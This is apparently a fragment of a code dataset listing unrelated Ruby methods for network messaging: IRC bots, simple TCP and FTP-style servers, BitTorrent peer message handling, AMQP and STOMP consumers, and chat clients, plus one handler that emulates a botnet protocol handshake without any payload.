"def process_messages\n # Check status for all streams, reopen as necessary\n @streams.each { |_, stream| try { stream.keep_alive } }\n\n # Actual processing of incoming messages happens in event callbacks\n # Oбрабатываем пришедшее сообщение в интерфейсах обратного вызова\n @conn.ProcessMessage2(100)\n end",
"def event_incoming_client_control(client, peer, cmd, *args)\nend",
"def start\n @quit = nil\n @socket = self.connect()\n self.on_message(/^PING/) { |event|\n self.send_raw_line(\"PING \"+event[:matchdata].post_match)\n }\n self.on_server_message(353) { |event|\n }\n self.on_server_message(376) do |event|\n if @password and !@authenticated then\n self.message 'NickServ', \"IDENTIFY #{@password}\"\n @authenticated = true\n end\n @channels.each { |channel|\n if channel.kind_of? Hash then\n self.send_raw_line(\"JOIN \"+channel.keys.first+\" \"+channel.values.first)\n else\n self.send_raw_line(\"JOIN \"+channel)\n end\n }\n end\n \n self.send_raw_line(\"USER \"+@nickname+\" \"+@nickname+\" \"+@nickname+\" \"+@nickname)\n self.send_raw_line(\"NICK \"+@nickname)\n begin\n while line = @socket.gets\n handle_raw_line(line) \n end\n rescue IOError => ioe\n raise ioe unless @quit\n end\n end",
"def start\n\t\tloop do\n\t\t\t@client = @server.accept # Wait for a client to connect\n\t\t\[email protected] \"220 ready\\r\\n\" # 220 - the server is ready\n\n\t\t\t# authentication (we assume that the client does this correctly)\n\t\t\t@user = @client.gets.gsub(\"\\r\\n\", \"\") # => USER\n\t\t\[email protected] \"331\\r\\n\" # => USER ok\n\n\t\t\t@pass = @client.gets.gsub(\"\\r\\n\", \"\") # => PASS\n\t\t\[email protected] \"230\\r\\n\" # => PASS ok\n\n\t\t\twhile req = @client.gets\n\t\t\t\treq.gsub!(\"\\r\\n\", \"\")\n\n\t\t\t\t# XXX not really needed since no QUIT signal is sent by FCP\n\t\t\t\tif req == \"QUIT\"\n\t\t\t\t\[email protected] \"221\\r\\n\" # => QUIT ok, bye!\n\t\t\t\t\[email protected]\n\t\t\t\t\t@client = nil\n\t\t\t\t\tbreak\n\t\t\t\tend\n\n\t\t\t\ttmp = req.split(\" \")\n\t\t\t\tcmd, args = tmp[0], tmp[1..tmp.length-1]\n\n\t\t\t\tif !SUPPORTED_CMD.include?(cmd)\n\t\t\t\t\[email protected] \"500\\r\\n\"\n\t\t\t\t\tnext\n\t\t\t\tend\n\n\t\t\t\tself.__send__(\"cmd_#{cmd.downcase}\", args)\n\t\t\tend\n\t\tend\n\tend",
"def receiveMessage(client)\n while msg_str = client.gets\n # Ensures the message is valid\n if (msg_str.length >= Msg::LENGTH + 1 and Msg.new(msg_str.chop).validate)\n $mutex.synchronize {\n msg = Msg.new(msg_str.chop)\n fragment_seq = msg.getConfig(\"fragment_seq\")\n fragment_num = msg.getConfig(\"fragment_num\")\n\n # Checks to see if the message was fragmented\n if fragment_seq == 0\n runOperation(msg, client)\n else\n $receiver_buffer << msg\n if fragment_num == fragment_seq\n assembled_msg = assembleFragments($receiver_buffer)\n $receiver_buffer.clear()\n runOperation(assembled_msg, client)\n end\n end\n } \n end\n # We need this sleep because Ruby will have a difficult time with memory management\n sleep(0.01)\n end\nend",
"def sendMsgCallBack(msg, client)\n message_arr = msg.getMessage().split(\" \")\n \n # Removes and stores the src and dst from the message\n src = message_arr.shift()\n dst = message_arr.shift()\n to_print = \"SNDMSG: %s --> %s\"\n\n # If the destination reached the right host, it will print out the correct message\n # If not, it will forward it to the next client\n if dst == $hostname\n message_arr = message_arr.join(\" \")\n STDOUT.puts(to_print % [src, message_arr])\n else\n k = $next[dst]\n forward_client = $clients[k]\n sendMessage(forward_client, msg)\n end\nend",
"def receive_data data\n rdata = data.split(\"\\n\")\n rdata.each do |line|\n puts \"#{self} received <<< #{line}\"\n # the echo part\n send_data \">>>you sent: #{line}\\n\"\n close_connection if line =~ /quit/i\n end\n end",
"def event_incoming_clients_control(client, cmd, *args)\nend",
"def send_message\n self.get_message\n self.conn.get.status\n end",
"def do_recv()\n data = super()\n message = Hurricane::Message.new()\n message.type = data.data[0].name\n message.destination = data.data[1]\n message.tag = data.data[2]\n message.data = data.data[3]\n message\n end",
"def send_from_open_connection(message) \n @SocketHandle.puts message \n server_reply = @SocketHandle.gets \n\n server_reply \n end",
"def process_msg_from_client ws, ws_context, msg\n if !ws_context[:registered]\n ws.close\n return\n end\n if ws_context[:type] != 'client'\n return\n end\n if msg[:command]\n # a command from client\n @console_service.command(msg[:command], msg[:module_id], msg[:body]) { |err, res|\n if is_request? msg\n if resp = compose_response(msg, err, res)\n ws.send ['client', resp].to_json\n end\n else\n # notify should not have a callback\n end\n }\n else\n # a request or a notify from client\n @console_service.execute(msg[:module_id], :client_handler, msg[:body]) { |err, res|\n if is_request? msg\n if resp = compose_response(msg, err, res)\n ws.send ['client', resp].to_json\n end\n else\n # notify should not have a callback\n end\n }\n end\n end",
"def init_message_listener\n begin\n message = @client.gets\n init_message(message)\n end until @client.closed?\n end",
"def listen\n loop do\n begin\n message = @socket.receive\n rescue Exception => e\n # If the socket was closed, possiby by another thread, then there's no real error, but we do have to quit.\n unless @socket.closed?\n # Otherwise, print the cause of the exception.\n STDERR.puts \"Error: #{e.message}\"\n end\n return\n end\n\n case message\n when :EOF\n return\n when :SKIP\n next\n when RoomList\n STDOUT.puts \"Rooms:\"\n message[:rooms].each { |r| STDOUT.puts \"\\t#{r}\" }\n when RoomMemberList\n if message[:room] == \"\"\n STDOUT.puts \"Members of default room:\"\n else\n STDOUT.puts \"Members of #{message[:room]}:\"\n end\n message[:members].each { |m| STDOUT.puts \"\\t#{m}\" }\n when Said\n if message[:room] == \"\"\n STDOUT.puts \"#{message[:sender]}: #{message[:message]}\"\n else\n STDOUT.puts \"[#{message[:room]}] #{message[:sender]}: #{message[:message]}\"\n end\n when Disconnect\n STDOUT.puts \"The server ended the connection.\"\n return\n when Success\n STDOUT.puts message[:message]\n when Notice\n STDOUT.puts message[:message]\n when Error\n STDERR.puts message[:message]\n when Whispered\n STDOUT.puts \"(Whisper from #{message[:from]}): #{message[:message]}\"\n else\n STDOUT.puts \"[Debug] unrecognized message received:\"\n p message\n end\n end\n end",
"def run!\n client.on(:hello, &responder.hello)\n client.on(:message, &responder.message)\n client.start!\n end",
"def forward_messages(from, to)\n msg = from.recv()\n\n while from.getsockopt(ZMQ::RCVMORE)\n to.send(msg, ZMQ::SNDMORE)\n msg = from.recv()\n end\n\n to.send(msg)\nend",
"def write_incoming_messages_to_child_processes(master_reader, client_writers)\n Thread.new do\n while incoming = master_reader.gets\n client_writers.each do |writer|\n writer.puts incoming\n end\n end\n end\nend",
"def on_read socket, messages\n string = ''\n messages.each_with_index do |message, index|\n string << '|' if index > 0\n string << \"#{message.copy_out_string}\"\n end\n\n @file.print \"#{string}\\n\"\n @file.flush\n end",
"def handle_messages!\n self.logger.debug { \"Starting message handler.\" }\n \n loop do\n message = nil\n\n # reads data\n self.logger.debug { \"Waiting for messages.\" }\n message = self.protocol.wait_interaction!\n \n # if nil data arrived, it means termination\n if message.nil?\n break\n end\n \n self.logger.debug { \"Message of type '#{message.type}' received.\" }\n\n # calls processing method according to incoming message\n case message.type.to_sym\n when :order\n self.handle_order(message)\n end\n \n end\n \n self.logger.debug { \"Message handler terminated.\" }\n end",
"def communication_loop\n while connected? && line = readline\n ui.log :printer, :received, line\n\n line.downcase!\n if line.starts_with?(*greetings)\n @can_send = 1\n elsif line.starts_with?(\"ok\")\n # TODO: Implement Q: parameter from \n # http://reprap.org/wiki/GCODE_buffer_multiline_proposal\n @can_send = 1\n # eg: Error:Line Number is not Last Line Number+1, Last Line:15\n # Resend:16\n elsif line.starts_with?(\"rs\", \"resend\")\n # TODO: extract line number from response.\n line = @lines.length - 1 # Last command. \n\n @send_queue.unshift(@lines[line])\n @can_send = 1\n end\n\n send_commands_from_queue\n end\n rescue => e\n puts \"Got exception in event communication thread!\"\n puts \"#{e.class}: #{e}\\n #{e.backtrace.join(\"\\n \")}\"\n disconnect\n raise(e)\n end",
"def process_client(c)\n Thread.current[:client] = c\n Thread.current[:info] = {\n :port => client.peeraddr[1],\n :host => client.peeraddr[2],\n :addr => client.peeraddr[3],\n }\n info[:uri] = [info[:host], info[:port]].join(':')\n logger.debug \"Processing client from #{info[:uri]}\"\n while line = client.gets\n line = line.chomp.strip\n logger.info \"Dispatching command (#{info[:uri]}): #{line}\"\n @handlers.each do |handler|\n if handler = handler.new(self).match(line.chomp.strip)\n handler.call\n next\n end\n end\n end\n end",
"def write_incoming_messages_to_child_processes(master_reader, client_writers)\n # 这就涉及到所谓的 **线程安全** 的问题\n # 实际此方法只是在启动 server 时候调用了一次, 而实际上在第一次唯一一次能看见\n # 调用的时候, client_writers 并没有任何值.\n # 而之后是在每次添加一个连接客户端之后才会添加.\n # 然后在下吗 master_reader.gets 会监视输入, 当有输入的时候就会\n # 遍历 clients 然后发送消息.\n Thread.new do\n while incoming = master_reader.gets\n # puts \"write_incoming_messages_to_child_processes #{master_reader}, #{client_writers}\"\n client_writers.each do |writer|\n writer.puts incoming\n end\n end\n end\nend",
"def enqueue_from_server\n @writter = Thread.new do \n while @online\n begin\n if @socket.eof?\n @socket.close\n puts \"Server is down, please press quit\"\n break\n end\n msg = @socket.gets.chop\n if msg =~ /Advice from channel/ \n @advices << msg\n else\n msg = \"=> #{msg}\"\n @response << msg\n end\n rescue => e\n puts \"Error writter Thread #{e}\"\n end\n end\n end\n end",
"def on_request(client)\n @logger.debug \"Client connected, waiting for data from client\"\n\n while(request = read_bson_document(client)) do\n @logger.debug \"\\n****************** Received request\"\n @logger.trace 'Request', request\n break unless request\n\n if reply = on_message(request)\n @logger.debug \"Sending Reply\"\n @logger.trace 'Reply', reply\n client.print(BSON.serialize(reply))\n else\n @logger.debug \"Closing client since no reply is being sent back\"\n @server.close\n client.close\n @logger.debug \"Server closed\"\n #@thread.kill\n @logger.debug \"thread killed\"\n start(2000)\n @logger.debug \"Server Restarted\"\n break\n end\n end\n # Disconnect from the client\n client.close\n @logger.debug \"Disconnected from the client\"\n end",
"def parseMessages( socket )\n len = socket.read( 4 ).unpack(\"N\")[0]\n\n if len == 0\n # keep-alive message\n if $verb\n puts \"Got keep-alive message\"\n end\n return\n end\n\n id = socket.read( 1 ).unpack(\"c\")[0]\n\n case id\n when 0\n if $verb\n puts \"Got choke message\"\n end\n @peer_choking = true\n @pending_requests = [] # choke discards all unanswered requests\n when 1\n # only send data messages when unchoked\n if $verb\n puts \"Got unchoke message\"\n end\n\n if ! @fileio.isComplete?\n send_request( socket, @work_piece, @work_offset )\n (1..(( @fileio.getPieceLength / BLOCK_SIZE ) - 1)).each { |n| # fill the pipeline\n send_request( socket, @work_piece, @work_offset + n*BLOCK_SIZE )\n }\n end\n\n @peer_choking = false\n when 2\n # only send data when peer is interested\n if $verb\n puts \"Got interested message\"\n end\n\n send_unchoke( socket )\n\n @peer_interested = true\n when 3\n if $verb\n puts \"Got not interested message\"\n end\n\n send_choke( socket )\n\n @peer_interested = false\n when 4\n if $verb\n puts \"Got have message\"\n end\n # build logic to ask peers for pieces\n # maybe trigger a request msg once we learn\n # they have a piece we need? or maybe trigger it\n # after loading a bitfield....\n data = socket.read( len - 1 )\n @bitfield.set_bit(data.unpack(\"N\")[0])\n #puts @bitfield.to_binary_string\n if @work_piece.nil? && ! @peer_choking && ! @fileio.isComplete?\n needed_bits = @fileio.getBitfield.bits_to_get( @bitfield )\n unless needed_bits.empty?\n @work_piece = needed_bits.sample( random: Random.new( Random.new_seed ) )\n @work_offset = 0\n\n if $verb\n puts \"Starting work on piece #{@work_piece}\"\n end\n\n # send request for first block\n send_request( socket, @work_piece, @work_offset )\n end\n end\n when 5\n if $verb\n puts \"Got bitfield message\"\n end\n # note, many clients will send incomplete bitfield, then supplement\n # remaining gaps with \"have\" messages (called lazy bitfield)\n data = socket.read( len - 1 )\n @bitfield.from_binary_data(data)\n \n\n #select random piece to work on\n if @work_piece.nil? && ! @fileio.isComplete?\n needed_bits = @fileio.getBitfield.bits_to_get( @bitfield )\n unless needed_bits.empty?\n @work_piece = needed_bits.sample( random: Random.new( Random.new_seed ) )\n @work_offset = 0\n\n if $verb\n puts \"Starting work on piece #{@work_piece}\"\n end\n\n send_unchoke( socket );\n send_interested( socket );\n\n # send request for first block\n # wait until unchoked to request\n #send_request( socket, @work_piece, @work_offset )\n end\n end\n\n when 6\n if $verb\n puts \"Got request message\"\n end\n reqData = socket.read(12).unpack(\"N3\")\n @pending_requests << reqData\n ## we should just send pieces now? or use a queue\n\n if ! @peer_choking && @peer_interested\n send_piece( socket, reqData[0], reqData[1], reqData[2] )\n end\n when 7\n if $verb\n puts \"Got piece message\"\n end\n # Also, I don't think we need to synchronize access\n # to this with a mutex. Because peers will probably\n # be writing at separate times, right?\n if @fileio.isComplete?\n return\n end\n\n if Thread.current[\"stopNow\"] == true\n return\n end\n \n piece_index, begin_offset = socket.read(8).unpack(\"N2\")\n block_bytes = socket.read( len - 9 )\n\n #@lock.synchronize {\n #for some reason there's a MethodNotFound exception here\n\n if @fileio.getBitfield.check_bit( piece_index )\n # TODO choose a new piece to work on\n needed_bits = @fileio.getBitfield.bits_to_get( @bitfield )\n unless needed_bits.empty?\n @work_piece = needed_bits.sample( random: Random.new( Random.new_seed ) )\n @work_offset = 0\n end\n return\n end\n \n @fileio.set_piece_bytes(piece_index, begin_offset, block_bytes)\n \n #} # end synchronize\n\n # after writing to file, we need to recheck this piece to see if it is now complete\n actualHash = @fileio.getInfoDict[\"pieces\"].byteslice(piece_index * 20, 20)\n pieceHash = @fileio.get_piece_hash(piece_index)\n \n if pieceHash == actualHash\n @fileio.getBitfield.set_bit(piece_index)\n @fileio.setComplete(1)\n if $verb\n puts \"Bit #{piece_index} set\"\n end\n\n send_have( socket, piece_index ) #also need to send this to all other peers\n\n # need to choose a new piece to work on\n needed_bits = @fileio.getBitfield.bits_to_get( @bitfield )\n unless needed_bits.empty?\n @work_piece = needed_bits.sample( random: Random.new( Random.new_seed ) )\n @work_offset = 0\n end\n else\n # piece not complete, request other blocks\n #@work_offset += BLOCK_SIZE\n end\n\n if ! @peer_choking\n send_request( socket, @work_piece, @work_offset )\n (1..(( @fileio.getPieceLength / BLOCK_SIZE ) - 1)).each { |n| # fill the pipeline\n send_request( socket, @work_piece, @work_offset + n*BLOCK_SIZE )\n }\n end\n \n perc = (@fileio.getComplete.to_f / @fileio.getTotal.to_f) * 100\n perc = perc.to_s.slice(0, 4)\n if perc == \"100.\"\n if @fileio.recheckComplete() == \"100.\"\n socket.close\n\n if $verb\n puts \"File download complete! (#{@fileio.getInfoDict[\"name\"]})\"\n end\n # now exit\n # and trigger all other threads to exit\n @tracker.sendRequest(\"completed\")\n Thread.current[\"nowSeed\"] == true\n $perc[Thread.current[\"torrent-file\"]] = 1\n return true\n #exit #Don't necessarily need to stop now. Unless connection is closed.\n else\n if $verb\n puts \"Recheck failed.\"\n end\n end\n else\n if $verb\n puts \"File #{perc}% complete (#{@fileio.getComplete}/#{@fileio.getTotal}).\"\n end\n $perc[Thread.current[\"torrent-file\"]] = perc.to_f / 100\n end\n when 8\n if $verb\n puts \"Got cancel message\"\n end\n @pending_requests.delete(socket.read(12).unpack(\"N3\"))\n when 9\n # only needed with DHT\n if $verb\n puts \"Got port message\"\n end\n data = socket.read( len - 1 )\n else\n if $verb\n puts \"Unsupported Protocol Message #{id}\"\n end\n end\n\n end",
"def receive_replies(connection); end",
"def listen\n connect do\n routes.each do |route|\n @client.subscribe(route) do |args|\n run(route, args)\n end\n end\n \n loop do\n sleep 1\n end\n end\n end",
"def run\n AMQP.start(:host => \"localhost\") {\n @mq = MQ.new\n @update_channel = EM::Channel.new\n @deferred_responses = {}\n\n @queue_name = \"cmdr:websocket:#{self.object_id}\"\n @queue = @mq.queue(@queue_name)\n \n # watch for responses from devices\n @queue.subscribe{|json|\n msg = JSON.parse(json)\n puts \"Got response: #{msg}\"\n if @deferred_responses[msg[\"id\"]]\n @deferred_responses.delete(msg[\"id\"]).succeed(msg)\n end\n }\n\n topic = @mq.topic(EVENT_TOPIC)\n @mq.queue(\"cmdr:websocket:#{self.object_id}:response\").bind(topic, :key => \"device.*\").subscribe do |json|\n handle_event json\n end\n\n setup\n\n EM::WebSocket.start({\n :host => \"0.0.0.0\",\n :port => 8000,\n :debug => false\n #:secure => true \n }) do |ws|\n\n ws.onopen { onopen ws }\n \n ws.onmessage {|json| onmessage ws, json}\n \n ws.onclose do\n @update_channel.unsubscribe(@sid) if @sid\n DaemonKit.logger.debug \"Connection on #{ws.signature} closed\"\n end\n\n ws.onerror do\n DaemonKit.logger.debug \"Error on #{ws.signature}\"\n end\n end\n }\n end",
"def handle_server\n \t\t\t\tcase @state\n \t\t\t\twhen :new\n if @data_buf.length >= 64\n \t\t\t\t\tb = @data_buf.slice!(0,64)\n \t\t\t\t\tb1 = @bot.rsakey.private_decrypt(b)\n if b1[16,32] == @aes_recv.key\n \t\t\t\t\treturn false unless b1[16,32] == @aes_recv.key\n \t\t\t\t\t@v = @aes_send.encrypt(\"1\\r\\n\")\n \t\t\t\t\tputs \"Session #{@id}: sending verify\" if @@debug\n \t\t\t\t\tsend_data @v\n \t\t\t\t\t@state = :recv_verify\n else\n close_connection\n @data_suf = false\n end\n else\n @data_suf = false\n end\n \t\t\t\twhen :recv_verify\n \t\t\t\t\tputs \"Session #{@id}: receiving verify\" if @@debug\n if @data_buf.length >= 3\n b = @data_buf.slice!(0,3)\n \t\t\t\t\t# this isn't always true in the real Nugache traces, but without knowing the\n \t\t\t\t\t# underlying protocol, this is the best I can do\n if b == @v\n \t\t\t\t\tputs \"Session #{@id}: ready\" if @@debug\n \t\t\t\t\t@state = :connected\n else\n close_connection\n @data_suf = false\n end\n else\n @data_suf = false\n end\n \t\t\t\twhen :connected\n \t\t\t\t\tputs \"Session #{@id}: receiving block\" if @@debug\n b = @data_buf\n @data_buf = \"\"\n @data_suf = false\n # TODO: how are we going to handle partial bundles of data?\n if b.length > 0\n out = @aes_recv.decrypt(b)\n @bot.process(out, @peer)\n end\n \t\t\t\tend\n \t\t\tend",
"def listen2\n \n EM.run do\n AMQP.connect(:host => @host) do |connection |\n puts \"Connected to AMQP broker. Running #{AMQP::VERSION} version of the gem...\"\n channel = AMQP::Channel.new(connection)\n exchange = channel.direct(@x_request)\n reply = channel.direct(@x_response)\n queue = channel.queue(@server_q)\n notify = channel.fanout(@x_notify)\n \n puts \"request xchange =#{@x_request}\"\n puts \"reply xchange =#{@x_response}\"\n puts \"server queue =#{@server_q}\"\n \n # listen for rpc requests on the server queue\n #\n queue.bind( exchange).subscribe do |header,body|\n \n # extract the headers and create a transport for this\n # client. the reply_to field may be in the application\n # headers field so check for it there also.\n \n reply_to = header.reply_to || ( header.headers && header.headers[:reply_to])\n message_id = header.message_id || ( header.headers && header.headers[:message_id])\n \n if reply_to && message_id\n # process the call\n response = do_handle(body)\n \n # publish the reply only if there is a response\n \n if response\n options = {}\n options[:key] = reply_to\n options[:message_id] = message_id\n data = Blix.to_binary_data(response)\n \n puts \"[AmqpServer] response: data=#{data}, options=#{options}\" if $DEBUG\n \n reply.publish(data, options )\n end\n else\n puts \"missing reply-to /message_id field .....\"\n pp header\n end\n end #subscribe\n \n # send any notifications that are waiting.\n while !@notify_queue.empty?\n message = @notify_queue.pop\n channel.fanout(@x_notify).publish(Blix.to_binary_data(message))\n puts \"[AmqpServer] notify: message=#{msg}\" if $DEBUG\n end\n end #connection\n end # EM\n \n end",
"def messaging\n end",
"def send_message(message) \n @SocketHandle = TCPSocket.open(@Host,@Port)\n @SocketHandle.puts message \n server_reply = @SocketHandle.gets \n\n server_reply \n end",
"def listen\n @messages.clear\n # stop if socket is not ready\n begin\n return if !self.ready?\n # get 0xFFFF bytes from a received message\n buffer = self.recv(0xFFFF)\n # split by \\n without suppressing trailing empty strings\n buffer = buffer.split(\"\\n\", -1)\n # if chunk from previous incomplete message exists\n if @previous_chunk != nil\n # complete chunk with first new message\n buffer[0] = @previous_chunk + buffer[0]\n # delete chunk buffer\n @previous_chunk = nil\n end\n # remove last message in buffer\n last_chunk = buffer.pop\n # incomplete message if it exists (meaning last message has no \\n)\n @previous_chunk = last_chunk if last_chunk != ''\n # check each message in the buffer\n buffer.each {|message|\n interpret_message(message)\n }\n rescue\n msgbox_p \"Server closed!\"\n self.close\n $close_socket = true\n end\n \n end",
"def serve(io)\n # p \"io is #{io}\" \n \n # Increment the client ID so each client gets a unique ID\n @@client_id += 1\n my_client_id = @@client_id\n my_position = @@chat.size\n \n io.puts(\"Welcome to the chat, client #{@@client_id}!\\n\")\n \n \n loop do \n \n # Every 5 seconds check to see if we are receiving any data \n #if IO.select([io], nil, nil, 2)\n # If so, retrieve the data and process it..\n #line = io.gets\n p \"...\"\n line = io.readline\n p \"line:#{line}\"\n line = line.strip\n # If the user says 'quit', disconnect them\n if line == 'quit'\n p \"client quit\"\n break\n end\n begin\n p \"before handled\"\n io.puts \"got #{line.chop}\\n\"\n p \"handled\"\n rescue Exception=>e\n p e\n err(e)\n end\n # Shut down the server if we hear 'shutdown'\n #self.stop if line =~ /shutdown/\n \n \n\n end # loop\n \n end",
"def listen\n @thread = Thread.new do\n while (true)\n header = @socket.read(1)\n length = @socket.read(4).unpack(\"I\")[0]\n data = @socket.read(length)\n\n case header\n when \"0\"\n puts \"chat message from #{@socket.peeraddr[3]}: #{data}\"\n end\n end\n end\n end",
"def get_messages()\n @@log.debug(\"get_messages starts\")\n subscribe\n StompHelper::pause(\"After subscribe\") if $DEBUG\n for msgnum in (0..@max_msgs-1) do\n message = @conn.receive\n @@log.debug(\"Received: #{message}\")\n if @ack == \"client\"\n @@log.debug(\"in receive, sending ACK, headers: #{message.headers.inspect}\")\n message_id = message.headers[\"message-id\"]\n @@log.debug(\"in receive, sending ACK, message-id: #{message_id}\")\n @conn.ack(message_id) # ACK this message\n end\n StompHelper::pause(\"After first receive\") if (msgnum == 0 and $DEBUG)\n #\n received = message\n end\n end",
"def listen\n @response = Thread.new do\n loop {\n msg = JSON.parse(@server.gets.chomp)\n puts sprintf(\"msg in listen: %s\\n\", msg.inpect)\n if msg[0].string?\n puts msg[0]\n elsif msg[0] == 0x00\n if msg[1] == \"CLIST\"\n puts msg[1].to_s.gsub!(/[\"\\[\\]]/,'')\n elsif msg[1] == \"DISCONNECT\"\n puts \"disconnecting\"\n exit(0)\n end\n elsif msg[0] == 0x01\n puts \"Access denied, wrong password or no such client_ID\"\n exit(0)\n elsif msg[0] == 0x02\n puts \"Duplicate client_ID\"\n exit(0)\n end\n }\n end\n end",
"def clientserver\n end",
"def send(fromIdUser,msg)\n #TODO : add exception for the sender!\n @userList.getcontents.each { |user| \n \n user.receiveFromChannel(@id, fromIdUser, msg)\n \n }\n end",
"def serverHandling()\n \n loop {\n #puts \"ServerHandling thread: #{Thread.current}\"\n thread = Thread.start($serv.accept) do |client|\n \n message = client.gets.chomp\n\n \n\n arr = message.split(' ')\n server_cmd = arr[0]\n args = arr[1..-1]\n# if server_cmd != \"UPDATE\" then puts \"THIS IS THE MESSAGE: #{message}\" end\n\n case server_cmd\n when \"EDGEB2\"; edgeb_network(args)\n when \"EDGEU2\"; edgeu_network(args)\n when \"UPDATE\"; updateTable(args)\n when \"TOSOURCE\"; source_console(args)\n when \"PING\"; ping_network(args)\n when \"FORWARD\"; forward_packet(args)\n when \"SEND\"; packet_forward(args)\n when \"SEND2\"; file_forward(args)\n when \"SUCCESS\"; transfer_success(args)\n when \"CIRCUITB2\"; circuitb_network(args)\n else STDERR.puts \"ERROR: INVALID COMMAND \\\"#{server_cmd}\\\"\"\n end\n client.close\n end\n \n }\n\nend",
"def start\n # Synchronous (mutual exclusion) message processing is handled by a\n # producer-consumer approach. The socket pushes messages onto this queue,\n # which are processed by a consumer thread one at a time.\n @messages = Queue.new\n @message_consumer = Thread.new do\n loop do\n meths = @messages.pop\n begin\n meths.each { |meth, args| broadcast_sync meth, *args }\n rescue\n options[:logger].error $!\n end\n end\n end\n \n @socket = connect\n username = @options[:user]\n username ||= @nick\n realname = @options[:name]\n realname ||= @nick\n \n pass @options[:server_password] if @options[:server_password]\n user username, @nick, @nick, realname\n nick @nick\n \n while line = @socket.gets\n meths = receive line # parse the line and get a list of methods to call\n @messages.push meths # push the methods on the queue; the consumer thread will execute all the synchronous methods\n # then execute all the other methods in their own thread\n meths.each { |meth, args| broadcast meth, *args }\n end\n end",
"def handle_client(client)\n unless @reactor.address_allowed? client.ip\n client.close\n @log.warn { \"Terminated connection from unauthorized client #{client.ip}\" }\n return\n end\n\n client.say(\"ChainReactor v#{VERSION}\")\n\n client_string = ''\n while l = client.read\n client_string += l\n end\n\n @log.debug { \"Read from client #{client.ip}: #{client_string}\" }\n @log.info { \"Finished reading from client #{client.ip}, closing connection\" }\n\n client.close\n\n @reactor.react(client.ip,client_string)\n\n end",
"def listen_requests(handler)\n loop do\n message = handler.listen # expecting array\n command_data = message[0] if message != nil\n\n if command_data != nil && command_data != \"\"\n command = command_data.split(\"\\s\")[0]\n if command == \"close\" || command == \"quit\"\n remove_client(handler) # when client disconnects or closes communication\n elsif command == \"clients\"\n handler.send(\"Server has #{@@clients.length()} clients connected :D\")\n elsif command == \"server -v\"\n handler.send(\"Your SERVER VERSION is #{SERVER_VERSION} ;)\")\n else # if isn't a server request, let the client handler manage it\n handler.manage_requests(message)\n end\n end\n end\n end",
"def send_and_receive( cmd_str )\n trans_send( cmd_str )\n trans_send( RPC::MSG_END )\n trans_receive()\n end",
"def start\n @s = TCPSocket.open(@server, @port)\n @s.puts \"USER internbot 0 * InternBot\"\n @s.puts \"NICK #{@nick}\"\n @s.puts \"JOIN #{@channel}\"\n\n # main receive loop\n until @s.eof? do\n msg = @s.gets\n msg_pieces = msg.split(':')\n debug msg\n\n # stay-alive\n if msg.start_with?(\"PING\")\n pongback = \"PONG \" + msg.split(\":\")[1]\n @s.puts pongback\n debug pongback\n # initial userlist\n elsif msg.index(\"#{@nick} = #{@channel} :\")\n userlist = msg_pieces[2].split(' ')\n debug 'userlist: ' + userlist.join(' ')\n userlist.each do |user|\n if user.start_with? '@' # they're opped\n @ops << user[1..-1]\n elsif user.start_with? '+' #they're voiced\n @voices << user[1..-1]\n else # they suck\n @peons << user\n end\n end\n debug 'ops: ' + @ops.join(' ')\n debug 'voices: ' + @voices.join(' ')\n debug 'peons: ' + @peons.join(' ')\n # auto-op the oplisted members\n elsif msg.index(\"JOIN :#{@channel}\")\n user_info = msg_pieces[1].split('@')[0].split('!')\n @peons << user_info[0] unless user_info[0] == @nick\n if InternDB.is_op?(user_info[0], user_info[1])\n @s.puts \"MODE #{@channel} +o #{user_info[0]}\"\n end\n elsif msg.index(\"LEAVE :#{@channel}\")\n user_info = msg_pieces[1].split('@')[0].split('!')\n @ops.delete(user_info[0])\n @voices.delete(user_info[0])\n @peons.delete(user_info[0])\n # command parsing\n elsif msg.index(\"MODE #{@channel} \")\n parts = msg.split(' ')\n if parts[3] == '+o'\n @peons.delete(parts[4])\n @voices.delete(parts[4])\n @ops << parts[4]\n elsif parts[3] == '-o'\n @ops.delete(parts[4])\n @peons << parts[4]\n elsif parts[3] == '+v'\n @peons.delete(parts[4])\n @voices << parts[4]\n elsif\n parts[3] == '-v'\n @voices.delete(parts[4])\n @peons << parts[4]\n end\n debug 'ops: ' + @ops.join(' ')\n debug 'voices: ' + @voices.join(' ')\n debug 'peons: ' + @peons.join(' ')\n elsif msg.index(\"PRIVMSG #{@channel} :\")\n user_info = msg_pieces[1].split('@')[0]\n user_info = user_info.split('!')\n @command_callback.call(false, user_info[0], user_info[1], msg_pieces[2..-1].join(\":\"))\n elsif msg.index(\"PRIVMSG #{@nick} :\")\n user_info = msg_pieces[1].split('@')[0]\n user_info = user_info.split('!')\n @command_callback.call(true, user_info[0], user_info[1], msg_pieces[2..-1].join(\":\"))\n end\n end\n end",
"def broadcast_msg( msg )\n\t\[email protected] do |cl|\n\t\t\tcl.add_output( msg )\n\t\tend\n\tend",
"def listen \n @logger.info \"tcp server is listening...\"\n while @running do # Servers run forever\n while session = @server.accept do \n sockets << session\n Thread.start do\n session.puts(Time.now.ctime) # Send the time to the client\n session.puts(\"Hello hive game viewer\\n\")\n #session.puts \"Hi there\"\n @logger.info \"someone connected\"\n Thread.start do\n while true do\n input = session.gets\n @logger.info input\n session.puts \"you said #{input}\"\n end\n end \n #userinput = gets \n #puts \"sending #{userinput}\"\n #session.puts(\"#{userinput}\\n\")\n end\n end\n end\nend",
"def send_message(msg); end",
"def subscribe\n conn = @cluster.connect\n conn.subscribe(ALL)\n conn.subscribe(SHARE)\n conn.subscribe(@channel)\n conn.on(:message) do |channel, message|\n @messages.push([channel, message])\n end\n end",
"def process_msgs\n end",
"def send_to_all(message)\n EM.next_tick do\n settings.sockets.each do |s|\n s.send(message.to_json)\n end\n end\n end",
"def process client\n data = client.read\n command, position, value = data.split\n case command.upcase\n when 'SET'\n puts \"SET request from #{position} (#{client.local_address.ip_port})\"\n @storage[position] = value\n when 'REBOOT'\n angle = [75, 275].sample\n client.write(\"#{angle}\")\n when 'GET'\n puts \"GET request from #{position} (#{client.local_address.ip_port})\"\n client.write(\"#{@storage[position]}\")\n when 'CLOSE'\n puts \"CLOSE all connections\"\n exit\n end\n client.close\n end",
